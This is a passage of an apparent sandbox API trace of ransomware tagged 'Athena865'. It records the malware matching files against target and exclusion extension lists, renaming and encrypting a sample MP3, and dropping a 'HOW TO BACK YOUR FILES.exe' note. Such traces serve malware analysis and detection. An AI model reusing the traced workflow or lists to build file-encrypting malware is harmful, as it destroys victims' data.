lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0104.198] lstrlenW (lpString="te") returned 2 [0104.198] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0104.198] lstrlenW (lpString="teacher") returned 7 [0104.198] lstrcmpiW (lpString1="way.mp3", lpString2="teacher") returned 1 [0104.198] lstrlenW (lpString="tmd") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0104.198] lstrlenW (lpString="tps") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0104.198] lstrlenW (lpString="trc") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0104.198] lstrlenW (lpString="trc") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0104.198] lstrlenW (lpString="trm") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0104.198] lstrlenW (lpString="udb") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0104.198] lstrlenW (lpString="udl") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0104.198] lstrlenW (lpString="usr") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0104.198] lstrlenW (lpString="v12") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0104.198] lstrlenW (lpString="vis") returned 3 [0104.198] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0104.199] lstrlenW (lpString="vpd") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0104.199] lstrlenW (lpString="vvv") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0104.199] lstrlenW (lpString="wdb") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0104.199] lstrlenW (lpString="wmdb") returned 4 [0104.199] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0104.199] lstrlenW (lpString="wrk") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0104.199] lstrlenW (lpString="xdb") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0104.199] lstrlenW (lpString="xld") returned 3 [0104.199] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0104.199] lstrlenW (lpString="xmlff") returned 5 [0104.199] lstrcmpiW (lpString1="y.mp3", lpString2="xmlff") returned 1 [0104.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Sleep Away.mp3.Athena865") returned 76 [0104.199] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\documents and settings\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Sleep Away.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\sleep away.mp3.athena865"), dwFlags=0x1) returned 1 [0104.200] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Sleep Away.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\sleep away.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.201] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4842585) returned 1 [0104.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.202] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.202] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.202] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49e760, lpName=0x0) returned 0x154 [0104.204] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x9e760) returned 0x2d50000 [0104.233] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0104.316] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0104.340] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.340] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.340] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.341] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.346] CloseHandle (hObject=0x154) returned 1 [0104.347] CloseHandle (hObject=0x17c) returned 1 [0104.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0104.359] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0104.359] ReleaseMutex (hMutex=0xec) returned 1 [0104.359] CloseHandle (hObject=0xec) returned 1 [0104.359] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures") returned="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures" [0104.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502828 | out: hHeap=0x4f0000) returned 1 [0104.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf60 | out: hHeap=0x4f0000) returned 1 [0104.359] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures") returned 57 [0104.359] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0DF0076385CF3C617E45510FAEDD7647") returned 0xec [0104.359] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0104.359] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures" | out: lpString1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures") returned="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures" [0104.359] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0104.359] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0104.360] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0104.360] GetLastError () returned 0x0 [0104.360] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0104.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x549d40 [0104.361] ReadFile (in: hFile=0xf4, lpBuffer=0x549d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x549d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0104.361] CloseHandle (hObject=0xf4) returned 1 [0104.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.361] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0104.362] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0104.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.362] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0104.362] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0104.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.362] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.362] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0104.362] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0104.362] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0104.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".") returned 1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="..") returned 1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="windows") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="bootmgr") returned 1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="temp") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="pagefile.sys") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="boot") returned 1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ids.txt") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="ntuser.dat") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="perflogs") returned -1 [0104.362] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2="MSBuild") returned -1 [0104.363] lstrlenW (lpString="Chrysanthemum.jpg") returned 17 [0104.363] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Chrysanthemum.jpg" | out: lpString1="Chrysanthemum.jpg") returned="Chrysanthemum.jpg" [0104.363] lstrlenW (lpString="Chrysanthemum.jpg") returned 17 [0104.363] lstrlenW (lpString="Athena865") returned 9 [0104.363] lstrcmpiW (lpString1="hemum.jpg", lpString2="Athena865") returned 1 [0104.363] lstrlenW (lpString=".dll") returned 4 [0104.363] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".dll") returned 1 [0104.363] lstrlenW (lpString=".lnk") returned 4 [0104.363] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".lnk") returned 1 [0104.363] lstrlenW (lpString=".ini") returned 4 [0104.363] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".ini") returned 1 [0104.363] lstrlenW (lpString=".sys") returned 4 [0104.363] lstrcmpiW (lpString1="Chrysanthemum.jpg", lpString2=".sys") returned 1 [0104.363] lstrlenW (lpString="Chrysanthemum.jpg") returned 17 [0104.363] lstrlenW (lpString="bak") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0104.363] lstrlenW (lpString="ba_") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0104.363] lstrlenW (lpString="dbb") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0104.363] lstrlenW (lpString="vmdk") returned 4 [0104.363] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0104.363] lstrlenW (lpString="rar") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0104.363] lstrlenW (lpString="zip") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0104.363] lstrlenW (lpString="tgz") returned 3 [0104.363] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0104.363] lstrlenW (lpString="vbox") returned 4 [0104.363] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0104.363] lstrlenW (lpString="vdi") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0104.364] lstrlenW (lpString="vhd") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0104.364] lstrlenW (lpString="vhdx") returned 4 [0104.364] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0104.364] lstrlenW (lpString="avhd") returned 4 [0104.364] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0104.364] lstrlenW (lpString="db") returned 2 [0104.364] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0104.364] lstrlenW (lpString="db2") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0104.364] lstrlenW (lpString="db3") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0104.364] lstrlenW (lpString="dbf") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0104.364] lstrlenW (lpString="mdf") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0104.364] lstrlenW (lpString="mdb") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0104.364] lstrlenW (lpString="sql") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0104.364] lstrlenW (lpString="sqlite") returned 6 [0104.364] lstrcmpiW (lpString1="um.jpg", lpString2="sqlite") returned 1 [0104.364] lstrlenW (lpString="sqlite3") returned 7 [0104.364] lstrcmpiW (lpString1="mum.jpg", lpString2="sqlite3") returned -1 [0104.364] lstrlenW (lpString="sqlitedb") returned 8 [0104.364] lstrcmpiW (lpString1="emum.jpg", lpString2="sqlitedb") returned -1 [0104.364] lstrlenW (lpString="xml") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0104.364] lstrlenW (lpString="$er") returned 3 [0104.364] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0104.365] lstrlenW (lpString="4dd") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0104.365] lstrlenW (lpString="4dl") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0104.365] lstrlenW (lpString="^^^") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0104.365] lstrlenW (lpString="abs") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0104.365] lstrlenW (lpString="abx") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0104.365] lstrlenW (lpString="accdb") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accdb") returned 1 [0104.365] lstrlenW (lpString="accdc") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accdc") returned 1 [0104.365] lstrlenW (lpString="accde") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accde") returned 1 [0104.365] lstrlenW (lpString="accdr") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accdr") returned 1 [0104.365] lstrlenW (lpString="accdt") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accdt") returned 1 [0104.365] lstrlenW (lpString="accdw") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accdw") returned 1 [0104.365] lstrlenW (lpString="accft") returned 5 [0104.365] lstrcmpiW (lpString1="m.jpg", lpString2="accft") returned 1 [0104.365] lstrlenW (lpString="adb") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.365] lstrlenW (lpString="adb") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0104.365] lstrlenW (lpString="ade") returned 3 [0104.365] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0104.365] lstrlenW (lpString="adf") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0104.366] lstrlenW (lpString="adn") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0104.366] lstrlenW (lpString="adp") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0104.366] lstrlenW (lpString="alf") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0104.366] lstrlenW (lpString="ask") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0104.366] lstrlenW (lpString="btr") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0104.366] lstrlenW (lpString="cat") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0104.366] lstrlenW (lpString="cdb") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0104.366] lstrlenW (lpString="ckp") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0104.366] lstrlenW (lpString="cma") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0104.366] lstrlenW (lpString="cpd") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0104.366] lstrlenW (lpString="dacpac") returned 6 [0104.366] lstrcmpiW (lpString1="um.jpg", lpString2="dacpac") returned 1 [0104.366] lstrlenW (lpString="dad") returned 3 [0104.366] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0104.366] lstrlenW (lpString="dadiagrams") returned 10 [0104.366] lstrcmpiW (lpString1="themum.jpg", lpString2="dadiagrams") returned 1 [0104.366] lstrlenW (lpString="daschema") returned 8 [0104.366] lstrcmpiW (lpString1="emum.jpg", lpString2="daschema") returned 1 [0104.366] lstrlenW (lpString="db-journal") returned 10 [0104.366] lstrcmpiW (lpString1="themum.jpg", lpString2="db-journal") returned 1 [0104.367] lstrlenW (lpString="db-shm") returned 6 [0104.367] lstrcmpiW (lpString1="um.jpg", lpString2="db-shm") returned 1 [0104.367] lstrlenW (lpString="db-wal") returned 6 [0104.367] lstrcmpiW (lpString1="um.jpg", lpString2="db-wal") returned 1 [0104.367] lstrlenW (lpString="dbc") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0104.367] lstrlenW (lpString="dbs") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0104.367] lstrlenW (lpString="dbt") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0104.367] lstrlenW (lpString="dbv") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0104.367] lstrlenW (lpString="dbx") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0104.367] lstrlenW (lpString="dcb") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0104.367] lstrlenW (lpString="dct") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0104.367] lstrlenW (lpString="dcx") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0104.367] lstrlenW (lpString="ddl") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0104.367] lstrlenW (lpString="dlis") returned 4 [0104.367] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0104.367] lstrlenW (lpString="dp1") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0104.367] lstrlenW (lpString="dqy") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0104.367] lstrlenW (lpString="dsk") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0104.367] lstrlenW (lpString="dsn") returned 3 [0104.367] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0104.368] lstrlenW (lpString="dtsx") returned 4 [0104.368] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0104.368] lstrlenW (lpString="dxl") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0104.368] lstrlenW (lpString="eco") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0104.368] lstrlenW (lpString="ecx") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0104.368] lstrlenW (lpString="edb") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0104.368] lstrlenW (lpString="epim") returned 4 [0104.368] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0104.368] lstrlenW (lpString="fcd") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0104.368] lstrlenW (lpString="fdb") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0104.368] lstrlenW (lpString="fic") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0104.368] lstrlenW (lpString="flexolibrary") returned 12 [0104.368] lstrcmpiW (lpString1="anthemum.jpg", lpString2="flexolibrary") returned -1 [0104.368] lstrlenW (lpString="fm5") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0104.368] lstrlenW (lpString="fmp") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0104.368] lstrlenW (lpString="fmp12") returned 5 [0104.368] lstrcmpiW (lpString1="m.jpg", lpString2="fmp12") returned 1 [0104.368] lstrlenW (lpString="fmpsl") returned 5 [0104.368] lstrcmpiW (lpString1="m.jpg", lpString2="fmpsl") returned 1 [0104.368] lstrlenW (lpString="fol") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0104.368] lstrlenW (lpString="fp3") returned 3 [0104.368] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0104.369] lstrlenW (lpString="fp4") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0104.369] lstrlenW (lpString="fp5") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0104.369] lstrlenW (lpString="fp7") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0104.369] lstrlenW (lpString="fpt") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0104.369] lstrlenW (lpString="frm") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0104.369] lstrlenW (lpString="gdb") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0104.369] lstrlenW (lpString="gdb") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0104.369] lstrlenW (lpString="grdb") returned 4 [0104.369] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0104.369] lstrlenW (lpString="gwi") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0104.369] lstrlenW (lpString="hdb") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0104.369] lstrlenW (lpString="his") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0104.369] lstrlenW (lpString="ib") returned 2 [0104.369] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0104.369] lstrlenW (lpString="idb") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0104.369] lstrlenW (lpString="ihx") returned 3 [0104.369] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0104.369] lstrlenW (lpString="itdb") returned 4 [0104.369] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0104.369] lstrlenW (lpString="itw") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0104.370] lstrlenW (lpString="jet") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0104.370] lstrlenW (lpString="jtx") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0104.370] lstrlenW (lpString="kdb") returned 3 [0104.370] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0104.370] lstrlenW (lpString="kexi") returned 4 [0104.370] lstrcmpiW 